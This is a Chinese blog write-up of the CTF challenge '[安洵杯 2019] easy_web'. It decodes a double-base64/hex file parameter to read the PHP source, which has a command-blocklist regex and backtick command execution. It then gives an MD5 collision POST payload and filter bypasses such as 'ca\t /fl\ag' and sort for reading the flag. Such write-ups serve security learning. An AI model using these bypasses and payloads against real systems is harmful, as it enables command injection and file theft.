[安洵杯 2019]easy_web(MD5强碰撞绕过)

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
[安洵杯 2019]easy_web
在这里插入图片描述

点进去就看到这个url,cmd传入ls、dir没什么用
img这边把他删了,图片就没了
在这里插入图片描述
那这里应该可以利用来读文件了,但是他加密过了,看起来像base64,解下密
在这里插入图片描述
看起来也像base64,再来一次
在这里插入图片描述
这次就解出个像hex编码的字符串了,解密后得出文件名

555.png

那我们知道这的确是文件名经过加密后传入到img里面,那我们可以试试读index.php看看源码
先加密一波,可以得到这个字符串

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

传入到img里面,查看源代码
在这里插入图片描述
复制后base64解出来就是源码了:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

审计总结:

1.可以看到img传入后设置变量为file,给正则/[^a-zA-Z0-9.]+//flag/i过滤了,读不了flag文件
2.echo `$cmd` \\这个`字符包围的是会执行系统命令的
3.对$cmd也做出了正则匹配的限制,许多命令不能直接使用
4.还需要POST传入变量a、b进行md5强碰撞绕过才能使用cmd

看过源码后那就好办了
这个是POST需要提交的强碰撞payload:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

有兴趣了解MD5强碰撞绕过的同道可以去看我写过的文章:
https://editor.csdn.net/md/?articleId=109525162

先看看/目录下有什么东西,用dir%20/
在这里插入图片描述
看到有flag,用cat%20/flag肯定会给正则匹配,linux是可以加\在命令中的,我们可以用ca\t%20/fl\ag来绕过
在这里插入图片描述
还有个命令可以读flag
sort命令:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。
在这里插入图片描述

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值